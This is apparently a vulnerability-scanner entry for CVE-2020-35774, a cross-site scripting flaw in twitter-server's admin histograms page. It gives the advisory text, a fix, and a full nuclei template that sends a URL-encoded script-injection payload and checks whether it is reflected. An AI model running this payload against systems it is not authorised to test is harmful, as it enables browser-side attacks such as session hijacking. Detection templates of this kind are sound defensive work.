twitter-server Cross-Site Scripting

mediumseverity

5.4CVSS score

85.6%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

twitter-server before 20.12.0 is vulnerable to cross-site scripting in some configurations. The vulnerability exists in the administration panel of twitter-server in the histograms component via server/handler/HistogramQueryHandler.scala.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, potentially leading to session hijacking, data theft, or defacement.

Fix

Apply the latest security patches or updates provided by Twitter to mitigate the XSS vulnerability.

How to confirm it

Send: GET {{BaseURL}}/admin/histograms?h=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&fmt=plot_cdf&log_scale=true
Positive when: contains "</script><script>alert(document.domain)</script>" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2020-35774 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2020-35774

info:
  name: twitter-server Cross-Site Scripting
  author: pikpikcu
  severity: medium
  description: |
    twitter-server before 20.12.0 is vulnerable to cross-site scripting in some configurations. The vulnerability exists in the administration panel of twitter-server in the histograms component via server/handler/HistogramQueryHandler.scala.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, potentially leading to session hijacking, data theft, or defacement.
  remediation: |
    Apply the latest security patches or updates provided by Twitter to mitigate the XSS vulnerability.
  reference:
    - https://advisory.checkmarx.net/advisory/CX-2020-4287
    - https://nvd.nist.gov/vuln/detail/CVE-2020-35774
    - https://github.com/twitter/twitter-server/commit/e0aeb87e89a6e6c711214ee2de0dd9f6e5f9cb6c
    - https://github.com/twitter/twitter-server/compare/twitter-server-20.10.0...twitter-server-20.12.0
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2020-35774
    cwe-id: CWE-79
    epss-score: 0.85649
    epss-percentile: 0.99726
    cpe: cpe:2.3:a:twitter:twitter-server:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: twitter
    product: twitter-server
  tags: cve2020,cve,xss,twitter-server,twitter,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/admin/histograms?h=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&fmt=plot_cdf&log_scale=true"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '</script><script>alert(document.domain)</script>'

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from